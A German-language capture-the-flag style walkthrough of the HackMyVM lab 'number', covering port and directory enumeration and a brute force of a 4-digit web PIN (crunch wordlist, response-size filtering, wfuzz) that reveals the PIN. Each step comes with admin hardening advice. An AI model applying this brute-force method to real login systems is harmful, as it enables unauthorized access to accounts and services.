192.168.2.37
Analyse: Dieser Befehl dient dazu, aktive Hosts im lokalen Netzwerksegment zu identifizieren. Ich verwende arp-scan mit dem Parameter -l, um das lokale Netzwerk zu scannen. Die Ausgabe pipe ich dann an grep "PCS", um Zeilen zu filtern, die 'PCS' enthalten, was oft auf VirtualBox-Hardware hindeutet. Mit awk '{print $1}' extrahiere ich das erste Feld der gefilterten Zeile, welches die IP-Adresse ist. Für Laien: Ich durchsuche mein lokales Netzwerk nach Computern und finde die IP-Adresse eines bestimmten Geräts anhand seiner Hardware-Informationen. Für Experten: Standardmethode zur schnellen Host-Entdeckung im lokalen Subnetz.
Bewertung: Die erfolgreiche Identifizierung der IP-Adresse 192.168.2.37 liefert das Zielsystem für den weiteren Pentest. Es bestätigt, dass das Ziel im selben Netzwerksegment liegt und aktiv ist.
Empfehlung (Pentester): Diese IP-Adresse ist nun unser Fokus. Wir werden im nächsten Schritt detailliertere Scans durchführen, um offene Dienste und potenzielle Angriffsvektoren zu identifizieren.
Empfehlung (Admin): Überprüfen Sie, welche Geräte in Ihrem Netzwerksegment aktiv sind und identifizieren Sie unbekannte Hardware. Stellen Sie sicher, dass nur autorisierte Systeme verbunden sind.
192.168.2.37 number.hmv
Analyse: Ich füge einen Eintrag in die lokale Datei /etc/hosts auf meinem Kali-System ein, um der gefundenen IP-Adresse 192.168.2.37 den Hostnamen number.hmv zuzuweisen. Dies vereinfacht die Adressierung des Zielsystems in nachfolgenden Befehlen. Für Laien: Ich gebe der gefundenen IP-Adresse einen einfachen Namen auf meinem Computer, damit ich sie leichter verwenden kann. Für Experten: Gängige Praxis zur Verbesserung der Lesbarkeit und Verwaltung von Zielen während eines Pentests.
Bewertung: Das erfolgreiche Hinzufügen des Eintrags ist eine kleine, aber nützliche Vorbereitung. Es hat keine Auswirkungen auf das Zielsystem.
Empfehlung (Pentester): Verwenden Sie den Hostnamen number.hmv in allen weiteren Befehlen.
Empfehlung (Admin): Keine Auswirkungen auf das Zielsystem. Relevant für die Organisation des Pentestenden.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.37 + Target Hostname: number.hmv + Target Port: 80 + Start Time: 2025-06-11 15:32:15 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.14.2 + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /admin/: This might be interesting. + /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 7962 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2025-06-11 15:32:23 (GMT2) (8 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ich setze nikto ein, um den Nginx-Webserver auf Port 80 (Hostname number.hmv) auf bekannte Schwachstellen, Konfigurationsfehler und interessante Pfade zu prüfen. Für Laien: Ich lasse ein Programm die Webseite auf Port 80 nach bekannten 'Problemstellen' durchsuchen. Für Experten: Nikto ist ein schnelles Werkzeug für die automatisierte Web-Enumeration. Es identifiziert oft fehlende Sicherheits-Header und das Vorhandensein potenziell sensibler Dateien oder interessanter Verzeichnisse.
Bewertung: Die Nikto-Ausgabe liefert mehrere wichtige Hinweise. Sie bestätigt den Nginx/1.14.2 Server und weist auf fehlende Sicherheits-Header hin. Besonders interessant sind die Funde des Verzeichnisses /admin/ und der Datei /admin/index.php, die als 'interessant' markiert sind. Der Hinweis auf /#wp-config.php# ist wahrscheinlich ein False Positive, aber das Admin-Verzeichnis ist ein klares Ziel.
Empfehlung (Pentester): Das Verzeichnis /admin/ und insbesondere /admin/index.php sind primäre Ziele für die weitere Untersuchung. Ich werde versuchen, auf diese Pfade zuzugreifen und ihre Funktionalität zu verstehen, da sie oft Anmeldeformulare oder andere administrative Funktionen enthalten. Die fehlenden Sicherheits-Header sind sekundär, aber nützlich für den Bericht.
Empfehlung (Admin): Implementieren Sie essentielle Sicherheits-Header. Überprüfen Sie, ob temporäre oder Backup-Dateien (wie solche mit `#` am Anfang und Ende) im Webroot liegen und zugänglich sind. Sichern Sie Admin-Verzeichnisse und beschränken Sie den Zugriff darauf.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http nginx 1.14.2
Analyse: Ich führe einen Nmap-Scan mit Filterung durch, um schnell die offenen Ports zu identifizieren. Die verwendeten Flags sind -sS (SYN-Scan), -sC (Standard-Skripte), -sV (Versionserkennung), -p- (alle Ports), -T5 (aggressives Timing) und -AO (OS-Erkennung). Die Ausgabe wird an grep open gepipet. Für Laien: Ich klopfe an alle 'Türen' des Computers und sehe nach, welche offen sind und welche Programme dahinterstecken, nur die offenen zeige ich mir an. Für Experten: Schnelle Identifizierung der offenen Angriffsfläche. Die Flags ermöglichen eine umfassende Enumeration.
Bewertung: Nur zwei Ports sind offen: Port 22 mit einem SSH-Dienst (OpenSSH 7.9p1) und Port 80 mit einem HTTP-Dienst (nginx 1.14.2). Dies ist eine kleine Angriffsfläche.
Empfehlung (Pentester): Wir konzentrieren uns nun auf die detaillierte Enumeration dieser beiden Dienste.
Empfehlung (Admin): Stellen Sie sicher, dass nur absolut notwendige Dienste für externe Verbindungen geöffnet sind. Überprüfen Sie die Konfiguration von SSH und Nginx.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 15:31 CEST Nmap scan report for number.hmv (192.168.2.37) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 2f:90:c5:7c:a1:62:89:3a:ec:ea:c3:51:fa:77:f8:3f (RSA) | 256 8e:21:71:85:04:3d:a7:db:1d:e6:6f:16:27:0c:0d:c9 (ECDSA) |_ 256 e2:39:c7:eb:f2:6d:53:0f:fd:3c:2c:05:31:c9:5b:f2 (ED25519) 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:E0:C4:B3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms number.hmv (192.168.2.37) OS and Service detection performed. Please report any incorrect results at https://nmap.org/cgi-bin/submit.cgi?new-service . Nmap done: 1 IP address (1 host up) scanned in 9.77 seconds
Analyse: Dies ist die vollständige Ausgabe des Nmap-Scans auf dem Zielsystem. Sie enthält die detaillierten Informationen zu den offenen Diensten auf den Ports 22 (SSH) und 80 (Nginx), die genauen Versionsnummern (OpenSSH 7.9p1, nginx 1.14.2), SSH-Hostkeys, HTTP-Header, MAC-Adresse (VirtualBox), geschätztes Betriebssystem (Linux), und Latenzinformationen. Für Laien: Das ist der komplette 'Gesundheits-Check' des Computers, der mir alle Details zu den offenen 'Türen' (Diensten) und dem 'Typ' des Computers (Betriebssystem) liefert. Für Experten: Die genauen Versionsnummern und die OS-Erkennung sind entscheidend für die Recherche nach spezifischen Schwachstellen (CVEs). Die Nginx-Version 1.14.2 ist bekannt und relativ alt. Die MAC-Adresse identifiziert die Umgebung als VirtualBox.
Bewertung: Die vollständige Nmap-Ausgabe liefert alle notwendigen Details für die Recherche nach versionsspezifischen Schwachstellen in OpenSSH 7.9p1 und nginx 1.14.2. Die Nginx-Version ist potenziell anfällig.
Empfehlung (Pentester): Recherchieren Sie bekannte Schwachstellen für OpenSSH 7.9p1 und nginx 1.14.2. Die Nginx-Version 1.14.2 sollte besonders aufmerksam geprüft werden. Beginnen Sie die detaillierte Enumeration des Nginx-Webservers.
Empfehlung (Admin): Halten Sie die Software auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Nginx 1.14.2 ist eine ältere Version und sollte aktualisiert werden. Minimieren Sie die Informationen, die durch Server-Header und OS-Erkennung preisgegeben werden.
...
Analyse: Dieser Befehl ist eine Kombination aus curl und Shell-Befehlen, um die Content-Length des HTTP-Response von der Hauptseite (http://number.hmv) zu extrahieren und in einer Shell-Variable zu speichern. curl number.hmv -Iv -s sendet eine HEAD-Anfrage (-I) mit verbose-Ausgabe (-v) an die Hauptseite, unterdrückt die Fortschrittsanzeige (-s). Die gesamte Ausgabe wird dann an grep "Content-Length" gepipet, um die Zeile mit der Content-Length zu finden. Diese Zeile wird in der Variable x gespeichert. Danach wird der Bildschirm mit clear gelöscht. Schließlich wird der Inhalt von x an echo übergeben, das Ergebnis an awk {'print $2'} gepipet, um das zweite Feld (den Zahlenwert der Content-Length) zu extrahieren, und dieses Ergebnis wird in der Variable p gespeichert. Für Laien: Ich frage die Webseite auf der Hauptadresse (number.hmv) nach der Größe des Inhalts, ohne den Inhalt selbst herunterzuladen. Dann speichere ich diese Größe in einer 'Notiz' (einer Variable auf meinem Computer). Für Experten: Die Extraktion der Content-Length ist oft nützlich, um Blind-Schwachstellen zu identifizieren, bei denen die Antwortgröße von der Gültigkeit einer Bedingung abhängt (z.B. in Blind SQL Injection oder Blind XXE). Hier scheint es Teil eines Skripts oder einer Methode zu sein, um die normale Antwortgröße zu ermitteln, um sie später für solche Blind-Techniken als Vergleichswert zu nutzen. Die Verwendung von Shell-Variablen und Pipes ist Standard in der Skripting-Umgebung.
Bewertung: Dieser Schritt dient der Vorbereitung auf potenzielle Blind-Schwachstellen-Tests, indem die Standard-Content-Length der Antwort extrahiert wird. Er liefert noch keine direkten Hinweise auf Schwachstellen, zeigt aber die angewandte Methodik.
Empfehlung (Pentester): Die extrahierte Content-Length kann später bei Blind-Tests als Referenzwert verwendet werden. Konzentrieren Sie sich nun auf die aktive Enumeration der Webanwendung.
Empfehlung (Admin): Standard-Verhalten des Webservers. Keine direkten Sicherheitsimplikationen, aber Teil einer Reconnaissance-Technik.
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://number.hmv 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 👌 Status Codes │ [200, 301, 302] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 1l 2w 11c http://number.hmv/ 200 GET 1l 2w 11c http://number.hmv/index.html 301 GET 7l 12w 185c http://number.hmv/admin => http://number.hmv/admin/ 200 GET 1l 1w 5c http://number.hmv/admin/admincheck.php 200 GET 12l 31w 412c http://number.hmv/admin/index.php 200 GET 1l 1w 11c http://number.hmv/robots.txt 200 GET 1l 3w 19c http://number.hmv/admin/command.php 301 GET 7l 12w 185c http://number.hmv/pin => http://number.hmv/pin/ 200 GET 1l 2w 10c http://number.hmv/pin/pincheck.php 200 GET 10l 29w 319c http://number.hmv/pin/index.php 200 GET 1l 5w 27c http://number.hmv/pin/whoami.php [####################] - 19m 18526004/18526004 0s found:11 errors:150 [####################] - 19m 6175316/6175316 5454/s http://number.hmv/ [####################] - 19m 6175316/6175316 5450/s http://number.hmv/admin/ [####################] - 18m 6175316/6175316 5614/s http://number.hmv/pin/
Analyse: Ich nutze feroxbuster, um Verzeichnisse und Dateien auf dem Nginx-Webserver auf Port 80 (http://number.hmv) zu brute-forcen. Ich verwende eine mittelgroße Wortliste und suche nach einer breiten Palette von Dateierweiterungen. Ich beschränke die Ergebnisse auf die Statuscodes 200, 301 und 302. Für Laien: Ich lasse ein schnelles Programm viele Namen für Webseiten-Ordner und -Dateien ausprobieren, um versteckte Inhalte zu finden. Für Experten: Feroxbuster ist ein effektives Werkzeug zur Web-Enumeration. Die Kombination von Wortliste und Extensions erhöht die Chance, versteckte Ressourcen zu finden. Das Filtern auf spezifische Statuscodes ist wichtig, um Rauschen in den Ergebnissen zu reduzieren.
Bewertung: Feroxbuster findet eine Reihe interessanter Endpunkte: /, /index.html (beide Status 200, sehr kleine Größe 11c), die Verzeichnisse /admin/ und /pin/ (beide Status 301, Weiterleitung auf das Verzeichnis), und verschiedene Dateien innerhalb dieser Verzeichnisse (/admin/admincheck.php, /admin/index.php, /robots.txt, /admin/command.php, /pin/pincheck.php, /pin/index.php, /pin/whoami.php, alle Status 200). Die Verzeichnisse /admin/ und /pin/ sind besonders interessant.
Empfehlung (Pentester): Ich werde nun die gefundenen Verzeichnisse und Dateien manuell untersuchen. Insbesondere die Pfade im /admin/ und /pin/ Verzeichnis, sowie /robots.txt (oft ein Hinweis auf interessante Pfade) und /admin/command.php (klingt nach einer Befehlsausführungsfunktion) und /pin/pincheck.php / /pin/index.php (deuten auf eine PIN-basierte Authentifizierung hin).
Empfehlung (Admin): Überwachen Sie Webserver-Logs auf Brute-Force-Versuche wie diesen. Überprüfen Sie die Zugänglichkeit von Admin-Verzeichnissen und entfernen oder schützen Sie unnötige Dateien (wie robots.txt, wenn sie sensitive Informationen preisgeben).
http://number.hmv/robots.txt whoami.php
Analyse: Ich greife auf die Datei /robots.txt auf dem Webserver zu. Diese Datei wird von Webcrawlern gelesen, um zu erfahren, welche Bereiche einer Website nicht indexiert werden sollen, kann aber auch Hinweise für Angreifer enthalten. Die Ausgabe zeigt den Inhalt der Datei: einfach die Zeichenkette whoami.php. Für Laien: Ich schaue in eine spezielle Datei, die Suchmaschinen sagt, wo sie nicht hinschauen sollen. Manchmal steht da auch etwas anderes Interessantes drin. Hier steht nur der Name einer anderen Webseite-Datei: whoami.php. Für Experten: Das Auflisten einer Datei in robots.txt deutet oft darauf hin, dass der Entwickler möchte, dass diese Datei nicht öffentlich bekannt wird (für Suchmaschinen), was sie für einen Angreifer interessant macht. Das Vorhandensein von whoami.php im Root-Verzeichnis (da kein anderer Pfad angegeben ist) ist ein Hinweis auf eine potenziell interessante Datei.
Bewertung: Der Inhalt von /robots.txt liefert den Namen einer potenziell interessanten Datei: whoami.php. Diese Datei könnte Informationen über den Webserver-Benutzer preisgeben.
Empfehlung (Pentester): Ich werde versuchen, auf die Datei http://number.hmv/whoami.php zuzugreifen, um ihren Inhalt zu sehen.
Empfehlung (Admin): Verwenden Sie robots.txt nur für seinen beabsichtigten Zweck. Listen Sie keine sensiblen Dateien oder Pfade auf, auch wenn Sie nicht möchten, dass Suchmaschinen sie indexieren.
http://number.hmv/whoami.php 404 Not Found nginx/1.14.2
Analyse: Ich versuche, auf die in robots.txt gefundene Datei http://number.hmv/whoami.php zuzugreifen. Die Antwort des Servers ist 404 Not Found. Für Laien: Ich habe versucht, die Webseite-Datei whoami.php zu besuchen, aber der Computer hat gesagt, dass er sie nicht finden kann. Für Experten: Ein 404-Fehler bedeutet, dass die angeforderte Ressource auf dem Server nicht gefunden wurde. Obwohl robots.txt die Datei auflistet, scheint sie entweder nicht (mehr) unter diesem Pfad zu existieren, oder es gibt eine andere Konfiguration, die den Zugriff verhindert. Dies ist etwas unerwartet, da sie in robots.txt genannt wurde.
Bewertung: Die Datei whoami.php ist unter dem erwarteten Pfad nicht zugänglich. Dies eliminiert diesen spezifischen Hinweis als direkten Angriffsvektor im Moment.
Empfehlung (Pentester): Obwohl der direkte Zugriff fehlschlägt, notieren Sie den Dateinamen. Möglicherweise existiert er unter einem anderen Pfad (z.B. innerhalb von /admin/ oder /pin/) oder wird auf eine andere Weise verwendet. Konzentrieren Sie sich nun auf die anderen gefundenen interessanten Pfade.
Empfehlung (Admin): Stellen Sie sicher, dass robots.txt keine veralteten oder falschen Informationen enthält.
view-source:http://number.hmv/admin/index.php LOGIN form action="admincheck.php" method="post"
Analyse: Ich untersuche den Quellcode der Datei /admin/index.php im /admin/ Verzeichnis, das von Nikto und Feroxbuster gefunden wurde. Der Quellcode zeigt eine einfache HTML-Seite mit dem Titel "LOGIN" und einem Formular. Das Formular sendet Daten (method="post") an das Skript admincheck.php. Für Laien: Ich schaue mir die Seite im Ordner /admin an und finde dort eine Anmeldeseite. Der Bauplan der Seite zeigt, dass man Benutzername und Passwort in ein Formular eingeben kann, und das Programm admincheck.php prüft dann, ob sie richtig sind. Für Experten: Die Identifizierung eines Login-Formulars ist Standard bei der Web-Enumeration. Das Formular auf /admin/index.php sendet die Anmeldedaten an admincheck.php mittels POST. Dies ist der Zugangspunkt zum Admin-Bereich, der Brute-Force-Angriffe oder die Suche nach Anmeldedaten erfordert.
Bewertung: Ein Anmeldeformular für den Admin-Bereich wurde gefunden. Dies ist ein wichtiger Zugangspunkt, der die Kompromittierung von Anmeldedaten (durch Brute-Force, Wörterbuchangriffe oder das Ausnutzen anderer Schwachstellen) erfordert, um Zugriff auf den Admin-Bereich zu erhalten.
Empfehlung (Pentester): Versuchen Sie, die Anmeldedaten für dieses Formular zu finden. Dies könnte durch Brute-Force-Angriffe auf das Formular oder durch das Auslesen von Anmeldedaten aus anderen Quellen geschehen, falls solche gefunden werden. Überprüfen Sie auch den Quellcode von admincheck.php, falls zugänglich, auf Schwachstellen.
Empfehlung (Admin): Schützen Sie Admin-Bereiche durch starke Authentifizierung (komplexe Passwörter, Multi-Faktor-Authentifizierung). Implementieren Sie Ratenbegrenzung und Lockout-Mechanismen gegen Brute-Force-Angriffe. Überwachen Sie fehlgeschlagene Anmeldeversuche.
http://number.hmv/admin/admincheck.php No...
Analyse: Ich rufe das Skript admincheck.php direkt auf, wahrscheinlich ohne POST-Parameter, um zu sehen, wie es reagiert. Die Antwort ist einfach 'No...'. Für Laien: Ich habe das Programm, das die Anmeldedaten prüft, direkt angesprochen, ohne Benutzername und Passwort einzugeben. Es hat einfach nur 'No...' geantwortet. Für Experten: Der direkte Aufruf von admincheck.php ohne die erwarteten POST-Parameter führt zu einer einfachen 'No...' Antwort. Dies bestätigt, dass das Skript existiert und ausgeführt wird, aber keine detaillierten Fehlermeldungen oder Informationen preisgibt, was die Black-Box-Analyse des Anmeldevorgangs erschwert.
Bewertung: admincheck.php gibt eine generische Fehlermeldung zurück, was die Informationsbeschaffung durch direkte Anfragen erschwert. Die Black-Box-Analyse oder das Brute-Forcing des Anmeldeformulars sind weiterhin notwendig.
Empfehlung (Pentester): Konzentrieren Sie sich darauf, das Anmeldeformular mit Wörterlisten anzugreifen oder Anmeldedaten aus anderen Quellen zu finden.
Empfehlung (Admin): Eine generische Fehlermeldung ist besser als detaillierte Informationen preiszugeben, die einem Angreifer helfen könnten.
http://number.hmv/index.html Good luck.
Analyse: Ich greife auf die Datei /index.html auf der Hauptseite zu (die auch über / erreichbar ist). Der Inhalt ist die einfache Zeichenkette 'Good luck.'. Für Laien: Ich schaue mir wieder die Hauptseite an, und dort steht nur 'Good luck.'. Für Experten: Eine einfache index.html-Seite ohne viel Inhalt ist typisch. Die Nachricht 'Good luck.' ist ein Hinweis von den Erstellern der VM.
Bewertung: Der Inhalt von index.html ist ein reiner Hinweis und liefert keine direkte technische Schwachstelle, aber er bestätigt die Erreichbarkeit der Hauptseite.
Empfehlung (Pentester): Notieren Sie sich den Hinweis. Konzentrieren Sie sich auf die funktionalen Endpunkte.
Empfehlung (Admin): Ein einfacher Platzhalter oder Hinweis. Keine sicherheitsrelevanten Implikationen.
http://number.hmv/pin/pincheck.php PIN WRONG.
Analyse: Ich rufe das Skript /pin/pincheck.php direkt auf, wahrscheinlich ohne Parameter, da Feroxbuster es als zugänglich identifiziert hat. Die Antwort ist 'PIN WRONG.'. Für Laien: Ich schaue mir eine andere Webseite im Ordner /pin an, die 'pincheck.php' heißt. Sie sagt einfach nur 'PIN WRONG.'. Das deutet darauf hin, dass sie einen PIN erwartet. Für Experten: Das Skript pincheck.php existiert und verarbeitet Anfragen, die offenbar einen PIN beinhalten. Die Antwort 'PIN WRONG.' ist eine spezifische Fehlermeldung, die auf das Fehlen oder die Ungültigkeit eines erwarteten PINs hinweist. Dies bestätigt die Notwendigkeit, einen PIN zu finden.
Bewertung: Die Existenz eines PIN-Prüf-Skripts (pincheck.php) und die spezifische Fehlermeldung sind ein starker Hinweis auf einen PIN-basierten Authentifizierungsmechanismus in diesem Bereich der Webseite. Dies ist ein wichtiger Zugangspunkt, der die Kompromittierung oder das Brute-Forcing des PINs erfordert.
Empfehlung (Pentester): Untersuchen Sie das Verzeichnis /pin/ und seine Dateien (insbesondere index.php und pincheck.php) genauer. Versuchen Sie herauszufinden, wie der PIN übergeben wird (GET, POST?) und wie viele Stellen er hat (Nikto deutete auf 4 Ziffern hin). Planen Sie ein Brute-Force-Angriff auf den PIN.
Empfehlung (Admin): Implementieren Sie starke Authentifizierungsmechanismen. PIN-basierte Authentifizierung (insbesondere kurze, numerische PINs) ist oft schwach. Implementieren Sie Ratenbegrenzung und Lockout gegen Brute-Force-Angriffe.
http://number.hmv/admin/command.php ACCESS NOT GRANTED.
Analyse: Ich greife auf die Datei /admin/command.php zu, die Feroxbuster und Nikto im /admin/ Verzeichnis gefunden haben und die nach einer Befehlsausführungsfunktion klingt. Die Antwort ist 'ACCESS NOT GRANTED.'. Für Laien: Ich versuche, eine Webseite im Ordner /admin zu besuchen, die 'command.php' heißt und nach einem Ort klingt, an dem man Befehle eingeben kann. Aber der Computer sagt nur: 'Zugriff nicht gewährt!'. Das deutet darauf hin, dass diese Seite nur für angemeldete Benutzer zugänglich ist. Für Experten: Die spezifische Fehlermeldung 'ACCESS NOT GRANTED.' deutet darauf hin, dass das Skript command.php existiert und verarbeitet wird, aber eine Authentifizierung oder eine bestimmte Sitzung (z.B. eine erfolgreiche Anmeldung im Admin-Bereich oder über den PIN-Bereich) erforderlich ist, um vollen Zugriff zu erhalten. Dies bestätigt, dass command.php eine interessante Funktionalität bietet, die aber nur nach erfolgreicher Authentifizierung zugänglich ist.
Bewertung: /admin/command.php ist eine geschützte Ressource, die wahrscheinlich erst nach einer erfolgreichen Anmeldung im Admin-Bereich oder möglicherweise im PIN-Bereich zugänglich wird. Dies ist ein klares Ziel nach erfolgreicher Authentifizierung.
Empfehlung (Pentester): Konzentrieren Sie sich darauf, zuerst Zugriff auf den Admin-Bereich (via Login-Formular) oder den PIN-Bereich (via PIN-Check) zu erlangen. Sobald authentifiziert, greifen Sie erneut auf /admin/command.php zu, um seine Funktionalität zu prüfen.
Empfehlung (Admin): Implementieren Sie robuste Zugriffskontrollen für sensitive Endpunkte wie admin/command.php. Stellen Sie sicher, dass die Autorisierungsprüfung korrekt erfolgt und nicht umgangen werden kann.
http://number.hmv/pin/ Enter your PIN (4 digits) to log in.
Analyse: Ich greife auf das Verzeichnis http://number.hmv/pin/ zu. Die Ausgabe ist eine einfache HTML-Seite, die eine klare Anweisung gibt: 'Enter your PIN (4 digits) to log in.'. Für Laien: Ich besuche die Hauptseite im Ordner /pin. Dort steht, dass ich meine geheime Nummer (einen 4-stelligen PIN) eingeben soll, um mich anzumelden. Für Experten: Die Seite /pin/index.php (impliziert durch den Zugriff auf das Verzeichnis) zeigt ein Formular (oder zumindest Text, der darauf hindeutet), das einen 4-stelligen numerischen PIN erwartet. Dies bestätigt die Struktur und den erwarteten Input für den PIN-basierten Authentifizierungsmechanismus, der über pincheck.php verarbeitet wird.
Bewertung: Die Seite bestätigt, dass ein 4-stelliger numerischer PIN für die Anmeldung im PIN-Bereich erforderlich ist. Dies ist eine sehr kleine Anzahl von Möglichkeiten (10^4 = 10.000), was Brute-Force-Angriffe praktikabel macht.
Empfehlung (Pentester): Bereiten Sie eine Wortliste mit allen 4-stelligen numerischen Kombinationen vor (0000 bis 9999) und führen Sie einen Brute-Force-Angriff auf das PIN-Prüf-Skript (pincheck.php) durch. Analysieren Sie die Antworten, um den korrekten PIN zu identifizieren.
Empfehlung (Admin): Verwenden Sie stärkere Authentifizierungsmechanismen als 4-stellige numerische PINs. Implementieren Sie Ratenbegrenzung und Account-Lockout gegen Brute-Force-Angriffe. Überwachen Sie Anmeldeversuche auf pincheck.php.
Crunch will now generate the following amount of data: 50000 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 10000 crunch: 100% completed generating output
Analyse: Nachdem wir herausgefunden haben, dass ein 4-stelliger numerischer PIN für den Zugriff auf den /pin/-Bereich erforderlich ist, nutze ich das Tool crunch, um eine Wortliste mit allen möglichen Kombinationen zu erstellen. Der Befehl crunch 4 4 0123456789 -o pins.txt weist crunch an, alle Variationen von Zeichenketten mit einer Länge von 4 (Minimum und Maximum 4) zu generieren, die nur aus den Ziffern 0 bis 9 bestehen (0123456789), und die Ausgabe in der Datei pins.txt zu speichern. Für Laien: Ich benutze ein Programm, um eine Liste mit allen möglichen 4-stelligen Geheimnummern (von 0000 bis 9999) zu erstellen und diese in einer Datei zu speichern. Für Experten: crunch ist ein mächtiges Wortlistengenerierungstool. Die Spezifikation '4 4' und der Zeichensatz '0123456789' erzeugen exakt 10.000 Kombinationen (10^4), was die gesamte Angriffsfläche für einen 4-stelligen numerischen PIN abdeckt. Die Ausgabe wird in pins.txt gespeichert, um sie mit einem Brute-Force-Tool zu verwenden.
Bewertung: Die Wortliste pins.txt wurde erfolgreich mit allen 10.000 möglichen 4-stelligen numerischen PINs erstellt. Dies ist die notwendige Grundlage für einen Brute-Force-Angriff auf das PIN-Prüf-Skript.
Empfehlung (Pentester): Verwenden Sie die erstellte Datei pins.txt als Wortliste in einem Web-Brute-Force-Tool (z.B. wfuzz, Hydra), um den korrekten PIN für pincheck.php zu finden. Zuerst müssen Sie herausfinden, wie das Skript auf einen korrekten PIN reagiert.
Empfehlung (Admin): Verwenden Sie längere und komplexere PINs oder Passwörter. Implementieren Sie Ratenbegrenzung und Account-Lockout, um Brute-Force-Angriffe auf Anmeldeformulare zu verhindern.
10
Analyse: Bevor ich einen Brute-Force-Angriff starte, teste ich, wie das Skript pincheck.php auf einen falschen PIN reagiert, insbesondere in Bezug auf die Größe der Antwort. Ich sende eine POST-Anfrage (-X POST) mit dem Parameter password=1111 (ein offensichtlich falscher PIN) an http://number.hmv/pin/pincheck.php. Die Ausgabe pipe ich an wc -c, das die Anzahl der Bytes (Zeichen) im Output zählt. Der -s Parameter bei curl unterdrückt die Fortschrittsanzeige. Die Ausgabe zeigt 10. Für Laien: Ich schicke dem PIN-Programm absichtlich eine falsche Geheimnummer und messe, wie lang die Antwort ist, die ich zurückbekomme. Die Länge ist 10 Zeichen. Das hilft mir, später den richtigen PIN zu finden, indem ich nach einer Antwort suche, die *nicht* 10 Zeichen lang ist. Für Experten: Das Prüfen der Antwortgröße bei einer fehlgeschlagenen Authentifizierung ist eine Standardtechnik für Blind Brute-Force-Angriffe. Wenn die Antwort für einen korrekten PIN eine andere Größe hat, kann dies als Indikator für einen erfolgreichen Versuch verwendet werden. Die festgestellte Größe für einen falschen PIN ist 10 Bytes.
Bewertung: Eine falsche PIN-Eingabe führt zu einer Antwort von 10 Bytes (wahrscheinlich der Text 'PIN WRONG.' plus eventuelle unsichtbare Zeichen wie Zeilenumbrüche). Dies gibt mir einen klaren Indikator, den ich bei meinem Brute-Force-Angriff verwenden kann, um erfolgreiche Versuche zu identifizieren: Ich suche nach Antworten, deren Größe *nicht* 10 Bytes beträgt.
Empfehlung (Pentester): Verwenden Sie diese Antwortgröße (10 Bytes) als negativen Filter in Ihrem Brute-Force-Tool. Konfigurieren Sie das Tool so, dass es alle PINs aus pins.txt testet und nur Antworten anzeigt, die *nicht* 10 Bytes groß sind (z.B. mit --hh 10 in wfuzz).
Empfehlung (Admin): Vermeiden Sie, dass Fehlermeldungen bei der Authentifizierung unterschiedliche Größen haben, da dies Blind Brute-Force-Angriffe ermöglicht. Eine feste Antwortgröße (Timing-Angriffe sind schwerer, aber auch möglich) oder variable Füllzeichen können dies mitigieren.
Target: http://number.hmv/pin/pincheck.php Total requests: 10000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000004445: 200 0 L 3 W 21 Ch "4444" Total time: 0 Processed Requests: 10000 Filtered Requests: 9999 Requests/sec.: 0
